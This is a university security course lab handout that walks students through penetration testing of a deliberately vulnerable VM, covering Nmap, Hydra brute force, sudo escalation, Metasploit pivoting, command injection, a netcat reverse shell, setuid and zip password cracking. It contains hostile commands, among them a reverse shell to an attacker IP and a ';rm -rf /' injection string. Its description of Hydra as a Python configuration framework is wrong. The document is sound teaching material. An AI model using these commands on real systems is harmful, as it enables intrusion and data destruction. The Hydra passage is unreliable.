

计算机科学与工程系

Department of Computer Science and Engineering CS 315 Computer Security Course

LAB4: SCANNING, RECONNAISSANCE, AND PENETRATION TESTING

INTRODUCTION

A penetration test, also known as a pen test, is a simulated cyber attack against your computer system to check for exploitable vulnerabilities. Pen testing can involve the attempted breaching of any number of application systems, (e.g., application protocol interfaces (APIs), frontend/backend servers) to uncover vulnerabilities, such as unsanitized inputs that are susceptible to code injection attacks.

- 1. Planning and reconnaissance
- 2. Scanning
- 3. Gaining Access
- 4. Maintaining access
- 5. Analysis

In this lab, your goal is to break a simulated server cluster. Imagine that you are a real pen tester, and working on a real system. During the testing, you would learn about many tools and techniques, including Metasploit Framework, Nmap, Hydra, GTFOBins, Dir-search, John-the-Ripper, and more. We would jump higher than the single system intruding, instead, we would try to grab the root privilege on systems even in the LAN.

We will use two different virtual machines: the first is your attacking machine, with multiple offensive tools installed. The other is the target environment, which is intentionally vulnerable. Different from the



previous lab, today we have 3 different attacking environments for you, according to your personal choice.

SOFTWARE / VM REQUIREMENTS

The VMware software

• HTTPS://WWW.VMWARE.COM/

The Virtual box software

- HTTPS://WWW.VIRTUALBOX.ORG/WIKI/DOWNLOADS
- HTTPS://WWW.VMWARE.COM/SUPPORT/DEVELOPER/OVF/
- HTTPS://WWW.MYLEARNING.BE/2017/12/CONVERT-A-VMWARE-FUSION-VIRTUALMACHINE-TO-VIRTUALBOX-ON-MAC/

The Kali Linux, by Offensive Security:

- HTTPS://WWW.KALI.ORG/
- <TBA>

The Black Arch Linux:

- HTTPS://BLACKARCH.ORG/
- <TBA>

The Windows Penetration Edition:

- HTTPS://GITHUB.COM/MAKOTO56/PENETRATION-SUITE-TOOLKIT
- <TBA>

Lab4 Vulnerable machine:

• <TBA>

ESTABLISH THE ATTACKING VIRTUAL MACHINE

According to your personal usage practice, we have multiple different VMs for this lab. From the classic Kali-Linux to the BlackArch and Windows penetration editions. In the all 3 different VMs, you only need to choose one of them to run and exploit.



KALI-LINUX

Kali Linux is an open-source, Debian-based Linux distribution geared towards various information security tasks, such as Penetration Testing, Security Research, Computer Forensics, and Reverse Engineering.

Get Kali Linux from here: HTTPS://WWW.KALI.ORG/GET-KALI/

After the downloading, according to your CPU structure (in my case amd64), you would have the following folder. Drag the KALI.VMX file into your VM software.

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Click **RUN** and wait for the VM software to start your Kali Linux Virtual Machine. On the login page, the default account and the password are:

USERNAME: KALI PASSWORD: KALI





BLACKARCH

BlackArch Linux is an Arch Linux-based penetration testing distribution for penetration testers and security researchers. The repository contains **2811** tools. You can install tools individually or in groups. BlackArch Linux is compatible with existing Arch installs. For more information, see the INSTALLATION INSTRUCTIONS. Also, the news is published on our **BLOG**.

The installation steps of BlackArch Linux are similar to Kali Linux.



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WINDOWS 10 PENETRATION

Windows 10 with WSL Kali Linux is a GitHub project to collect the most commonly used penetration tools in one system. The repo address is HTTPS://GITHUB.COM/MAKOTO56/PENETRATION-SUITE-TOOLKIT



Use the same VM installation steps to establish this system.

















SCANNING THE TARGET

Another Virtual Machine we need to use in this lab is a simulated computing cluster.

The virtual machine is using Docker for virtualization and deploys 3 different servers itself. In the real-world computing cluster, the dockers



are different computers, in the same inner network, but not exposed to the public network.

In the virtualization software (VMware or VirtualBox), we need to set up the network structure. For example, in VMware, the software establishes 2 local network IP range by default: **host-only** and **NAT**. What's the difference between those network modes?

- **Host-Only**: The VM will be assigned one IP, but it's only accessible by the box VM is running on. No other computers can access it.
- **NAT**: Just like your home network with a wireless router, the VM will be assigned in a separate subnet, like **192.168.6.1** is your host computer, and VM is **192.168.6.3**, then your VM can access the outside network like your host, but no outside access to your VM directly, it's protected.
- Bridged: Your VM will be in the same network as your host, if your host IP is 172.16.120.45 then your VM will be like 172.16.120.50. It can be accessed by all computers in your host network.

As a suggestion, set your VM network mode to **bridged** if your local DHCP server allows it. Otherwise, use **host-only** mode.

Once the VM runs in properly, it would prompt you to enter your username and password. However, we wouldn't have an account for you. For a real-world system, we can't access machines in the inner network as well.





Use **IPCONFIG /ALL** or **IFCONFIG** to view your network configuration and locate the IP range of the VM. In my case, the IP range of the **host-only** mode networking is **192.168.56.0/24**.

Then we can use **Nmap** to scan this IP range and locate the specific IP for the VM. The command for a quick host state scan is NMAP -sP **192.168.56.0/24**.

This scan option uses a combination of scan techniques to identify live hosts, such as sending an ICMP echo request, TCP SYN packets to ports 80 and 443, timestamp requests, arp requests, etc.



INFORMATION GATHERING

Once we locate the IP address of our vulnerable Virtual Machine, we can start the exploitation. In every penetration test, the first step is to find out how many services are running, and which ports are them using.

For a fully Nmap scan, we are going to use the following command: NMAP -A 192.168.56.101.

We can access port 80 and find some start-up information.

POP3

POP3 is a standard mail protocol. We can find port 110 is a POP3 service, and we have an account to log in. Use either TELNET OF NC to initiate a connection to it. For example, NC **192.168.56.101 110**.

POP3 takes several commands. A cheat sheet for POP3 is as follows:

```
USER <USERNAME> : LOG IN AS USER

PASS <PASSWORD> : ENTER PASSWORD AFTER SPECIFY USERNAME

STAT : SHOW THE NUMBER OF MESSAGES

LIST : DISPLAY A SUMMARY OF THE MESSAGE

RETR : RETRIEVE MESSAGES

DELE : DELETE A MESSAGE

RSET : RESET THE SESSION

TOP : RETRIEVE PART OF THE MESSAGE

QUIT : END THE POP3 CONVERSATION
```

In the last email, we can find the hint from another user.

BRUTE-FORCE ATTACK

When the password is weak, we can try with a password dictionary /USR/SHARE/WORDLISTS/ROCKYOU.TXT (this is the most common password wordlist). There is so many software provide brute-force attacking features. We only take HYDRA as an example.

Hydra is an open-source Python framework that simplifies the development of research and other complex applications. The key feature is the ability to dynamically create a hierarchical configuration



by composition and override it through config files and the command line. The name Hydra comes from its ability to run multiple similar jobs - much like a Hydra with multiple heads.

Install HYDRA if you don't have one with the following command: SUDO APT INSTALL HYDRA. You can display the HYDRA help page with HYDRA -H.

- -l -> Specify a username to use during a brute-force attack.
- -L -> Specify a wordlist of usernames to be used during the bruteforce attack.
- -p -> Specify a password to use during a brute-force attack.
- -P -> Specify a wordlist of passwords to be used during the bruteforce attack.

Brute-force attack a SSH service using hydra: HYDRA -L <USERNAME> -P <PATH TO WORDLIST> <IP> SSH.

PRIVILEGE ESCALATION WITH SUDO

Sudo is a Linux utility that allows users to run commands with the privileges of another user, when no arguments are provided, this will execute the command as the root user. If sudo is not configured correctly, this could allow attackers to escalate their privileges to root.

You can use the command SUDO -L to view your privilege. The output of this command has the following line: (USER) [NOPASSWD]: /PATH/TO/BINARY. This means you can run /PATH/TO/BINARY as the USER (without a password required).

If you find some configuration like (ROOT) NOPASSWD: /PATH/TO/BINARY, there is a high chance to grant root privilege. To find a method to crack the /PATH/TO/BINARY, an online exploitation database may be helpful: GTFOBINS.

PIVOTING

Pivoting is a technique that **Metasploit** uses to route the traffic from a hacked computer toward other networks that are not accessible by a



hacker machine. If there are additional computers in the LAN that can't be accessed from outside directly, we need to use pivoting.

We want to leverage this newly discovered information and attack this additional network. Metasploit has an **autoroute** meterpreter script that will allow us to attack this second network through our first compromised machine.

```
METERPRETER > RUN AUTOROUTE -H
[*] USAGE: RUN AUTOROUTE [-R] -S SUBNET -N NETMASK
[*] EXAMPLES:
[*]
      RUN AUTOROUTE -S 10.1.1.0 -N 255.255.255.0 # ADD A ROUTE
то 10.10.1/255.255.255.0
[*] RUN AUTOROUTE -S 10.10.10.1
                                               # NETMASK DEFAULT
s то 255.255.255.0
[*] RUN AUTOROUTE -S 10.10.1/24
                                                 # CIDR NOTATION
IS ALSO OKAY
[*]
      RUN AUTOROUTE -P
                                              # PRINT ACTIVE ROUT
ING TABLE
[*] RUN AUTOROUTE -D -S 10.10.10.1
                                                # DELETES THE 10
.10.10.1/255.255.255.0 ROUTE
[*] Use the "route" and "ipconfig" Meterpreter commands to learn abo
UT AVAILABLE ROUTES
METERPRETER > RUN AUTOROUTE -S 10.1.13.0/24
[*] ADDING A ROUTE TO 10.1.13.0/255.255.255.0...
[+] ADDED ROUTE TO 10.1.13.0/255.255.255.0 VIA 192.168.1.201
[*] Use the -p option to list all active routes
METERPRETER > RUN AUTOROUTE - P
```

```
ACTIVE ROUTING TABLE
```

SUBNET	NETMASK	GATEWAY
10.1.13.0	255.255.255.0	SESSION 1

METERPRETER >



You can also use port forwarding to redirect a port from LAN to another network.

The **portfwd** command from within the Meterpreter shell is most commonly used as a pivoting technique, allowing direct access to machines otherwise inaccessible from the attacking system. Running this command on a compromised host with access to both the attacker and destination network (or system), we can essentially forward TCP connections through this machine, effectively making it a pivot point. Much like the port forwarding technique used with an ssh connection, **portfwd** will relay TCP connections to and from the connected machines.

```
METERPRETER > PORTFWD -H
USAGE: PORTFWD [-H] [ADD | DELETE | LIST | FLUSH] [ARGS]
OPTIONS:
-L >OPT> THE LOCAL HOST TO LISTEN ON (OPTIONAL).
-H HELP BANNER.
-L >OPT> THE LOCAL PORT TO LISTEN ON.
-P >OPT> THE LOCAL PORT TO CONNECT ON.
-R >OPT> THE REMOTE PORT TO CONNECT ON.
METERPRETER >
```

METERPRETER >

From the Meterpreter shell, the command is used in the following manner:

METERPRETER > PORTFWD ADD -L 3389 -P 3389 -R [TARGET HOST]

- **add** will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session.
- **-1 3389** is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it's not already being used.
- **-p 3389** is the destination port on our targeting host.
- **-r [target host]** is the our targeted system's IP or hostname.



```
METERPRETER > PORTFWD ADD -L 3389 -P 3389 -R 172.16.194.191
[*] LOCAL TCP RELAY CREATED: 0.0.0.0:3389 >-> 172.16.194.191:
3389
METERPRETER >
```

DIRECTORY SCANNING

A technique to deal with web penetration is called directory scan. We can use **DIRBUSTER** or **DIRSEARCH** to run directory scanning.

```
DIRSEARCH.PY -U HTTP://$IP:8888 -E PHP,TXT -W /USR/SHARE/DIRBUSTER
/WORDLISTS/MEDIUM.TXT
```

For more details about the **DIRSEARCH**, please view the GitHub page: **HTTPS://GITHUB.COM/MAUROSORIA/DIRSEARCH**

COMMAND INJECTION

Knowing some basic web exploiting knowledge is useful for the penetration.

Command injection typically involves executing commands in a system shell or other parts of the environment. The attacker extends the default functionality of a vulnerable application, causing it to pass commands to the system shell, without needing to inject malicious code. In many cases, command injection gives the attacker greater control over the target system.

Here is an example of a program that allows remote users to view the contents of a file, without being able to modify or delete it. The program runs with root privileges:

```
INT MAIN(CHAR* ARGC, CHAR** ARGV) {
   CHAR CMD[CMD_MAX] = "/USR/BIN/CAT ";
   STRCAT(CMD, ARGV[1]);
   SYSTEM(CMD);
}
```

Although the program is supposedly innocuous—it only enables readonly access to files—it enables a command injection attack. If the attacker passes, instead of a file name, a string like:



";RM -RF /"

The call to system() will fail to execute, and then the operating system will perform recursive deletion of the root disk partition. The following command would execute: /USR/BIN/CAT ; RM -RF /.

REVERSE SHELL

Very popular usage of Netcat and probably the most common use from a penetration testing perspective are reverse shells and bind shells. A reverse shell is a shell initiated from the target host back to the attack box which is in a listening state to pick up the shell. A bind shell is set up on the target host and binds to a specific port to listen for an incoming connection from the attack box. In malicious software, a bind shell is often revered to as a backdoor.

In order to setup a Netcat reverse shell we need to follow the following steps:

- 1. Set up a Netcat listener.
- 2. Connect to the Netcat listener from the target host.
- 3. Issue commands on the target host from the attack box.

First we setup a Netcat listener on the attack box which is listening on port 4444 with the following command:

NC -LVP 4444

Then we issue the following command on the target host to connect to our attack box (remember we have remote code execution on this box):

```
NC 192.168.100.113 4444 - E / BIN/ BASH
```

On the attack box we now have a bash shell on the target host and we have full control over this box in the context of the account which initiated the reverse shell. In this case the root user initiated the shell which means we have root privileges on the target host.



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									~
						root@attacker: ~	0	•	0
File	Edit \	View	Search	Terminal	Help				
root@	attac	ker:	# nc	lvp 4444	1				1
192.1	.68.10	0.10	anyj 44 7: inve	erse host	t lool	up failed: Unknown host			
conne	ect to	[19]	2.168.1	100.113]	from	(UNKNOWN) [192.168.100.107] 55010			
uid=0	(root) gio	d=0(roc	ot) group	os=0(1	root)			
									-

The top window with the green console text is the target host and the lower console is the attack box. As we can see we have root access from attacker 192.168.100.113 on target host 192.168.100.107.

RUID, EUID, SUID USAGE IN LINUX

- RUID(Real User ID)
 - The actual owner of a process
 - It is used in signal transmission. An unprivileged process can signal to another process when the RUID, EUID is the same as the RUID, SUID of the other process
- EUID(Effective User ID)
 - Generally, UID and EUID are the same
 - EUID is changed by an executable file that is configured with SetUID authority
 - EUID temporarily stores another account's UID



- The authority of a process is determined according to the UID stored in the EUID
- SUID(Saved set-user-ID)
 - SUID is used when a process's authority is recovered after lowered
 - When the process's authority is changed to lower. previous EUID is stored at SUID
 - Then, when the lowered authority is recovered to the original authority, the SUID is stored at EUID

Let's create one C file named **TEST.c**, as below:

```
#DEFINE GNU SOURCE
#INCLUDE <STDIO.H>
#INCLUDE <STDLIB.H>
#INCLUDE <UNISTD.H>
#INCLUDE <SYS/TYPES.H>
INT MAIN()
{
 UID T RUID, EUID, SUID;
 GETRESUID(&RUID, &EUID, &SUID);
 PRINTF("EUID: %D, RUID: %D, SUID: %D\N", RUID, EUID, SUID);
 SYSTEM("CAT FILE-READ-ONLY-BY-ROOT"); // FILE-READ-ONLY-BY-ROOT:
-R---- ROOT ROOT
 SETREUID(GETEUID(), GETEUID());
 GETRESUID(&RUID, &EUID, &SUID);
 PRINTF("EUID: %D, RUID: %D, SUID: %D\N", RUID, EUID, SUID);
 SYSTEM("CAT FILE-READ-ONLY-BY-ROOT"); // FILE-READ-ONLY-BY-ROOT:
-R---- ROOT ROOT
 RETURN 0;
}
```

Compile with the following code:

```
GCC -O TEST TEST.C
SUDO CHOWN ROOT:UBUNTU TEST # HERE UBUNTU IS THE NORMAL USER
```



Without setting the setuid bit, the result of executing **TEST** is as below:

```
$ ./TEST
EUID: 1000, RUID: 1000, SUID: 1000
CAT: FILE-READ-ONLY-BY-ROOT: PERMISSION DENIED
EUID: 1000, RUID: 1000, SUID: 1000
CAT: FILE-READ-ONLY-BY-ROOT: PERMISSION DENIED
```

Then we setuid for the test file and execute it again,

```
sudo chmod u+s test
$ ./test
EUID: 1000, RUID: 0, SUID: 0
cat: file-read-only-by-root: Permission denied
EUID: 0, RUID: 0, SUID: 0
Testing
```

FTP (FILE TRANSFER PROTOCOL)

FTP ("File Transfer Program") allows you to "put" and "get" files to and from remote machines so you can edit your programs on your local machine and upload them when you are ready to compile. To make FTP work, you need a client (your machine) and a server (the machine to/from which you are putting/getting files). Most UNIX and file server machines operate an FTP server for your file-transferring pleasure so all you need to worry about is operating the client software, and that's easy!

Anonymous ftp logins usually have the username 'anonymous' with the user's email address as the password. Some servers parse the password to ensure it looks like an email address.

```
USER: ANONYMOUS
PASSWORD: ANONYMOUS@DOMAIN.COM
```

COMPRESS FILE (.ZIP) PASSWORD CRACK

John the Ripper is a free password-cracking software tool. Originally developed for the Unix operating system, it can run on fifteen different platforms. John the Ripper is a fast password cracker, currently



available for many distributions of Unix, macOS, Windows, DOS, BeOS, and OpenVMS (the latter requires a contributed patch). Its primary purpose is to detect weak Unix passwords. Besides several crypt(3) password hash types most commonly found on various Unix flavors supported out of the box are Kerberos/AFS and Windows LM hashes, as well as DES-based tripcodes, plus hundreds of additional hashes and ciphers in "-jumbo" versions.

- APT INSTALL ZIP
- APT INSTALL UNZIP
- APT INSTALL JOHN





Getting Hash of ZIP File: Suppose what you will do if you have a zip file and have forgotten the password that you set during file creation. Now our first step will be to get hashes of the zip file using the zip2john tool. Just give us the location of the password-protected zip file and the location where we want to save the hash. After getting the hash you can open them using the cat command.

ZIP2JOHN CRACK2.ZIP > ZIP.HASHES
CAT ZIP.HASHES

root@kali:-#
root@kali:-#
root@kali:-#
root@kali:-# zip2john crack2.zip > zip.hashes -ver 1.0 efh 5455 efh 7875 crack2.zip/file1.txt PKZIP Encr: 2b chk, TS_chk, cmplen=
12, decmplen=0, crc=0
ver 1.0 efh 5455 efh 7875 crack2.zip/file.txt PKZIP Encr: 2b chk, TS_chk, cmplen=1
8, decmplen=6, crc=4A958C12
ver 1.0 efh 5455 efh 7875 crack2.zip/rep.txt PKZIP Encr: 2b chk, TS_chk, cmplen=17
, decmplen=5, crc=E3159392
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
root@kali:-#
root@kali:-#
crack2.zip:\$pkzip2\$2*2*1*0*0*12*4a95*2486*c6c3a9c03d52c03256d7a3b19264480ec700*2*0
*11*5*e3159392*c3*41*0*11*e315*248c*52e149fef2451e1f218459c741f3496510*\$/pkzip2\$::
crack2.zip:rep.txt, file.txt:crack2.zip
root@kali:-#

Crack Password with John: Now our work has become very easy as you can see that just we need to give the location of the saved hash and it will try its own dictionary to crack the password of the zip file through the hash. After trying several combinations it found a valid password to unzip the compressed file.

JOHN ZIP.HASHES





Custom Wordlist: Sometimes it is not able to find a valid password, so in that case, you can create your own wordlist and crack the password of any zip file.

JOHN --WORDLIST=WORDLIST.TXT ZIP.HASHES



As you can see we have a valid password with the help of which we can unzip the password-protected zip file.





ASSIGNMENTS FOR THE LAB 4

- 1. Read the lab instructions above and finish all the tasks (checkpoints).
- 2. If you are a user, what would you do to secure your password from brute-force attacks? If you are a developer, what would you do to prevent brute-force attacks in your program?
- 3. Why do we need to use pivoting / port forwarding in the penetration testing? List at least 3 examples of which kind of program shouldn't expose to the public network.
- 4. What's the difference between a shell and a reverse shell? Why do we use the reverse shell instead of the shell in this walkthrough?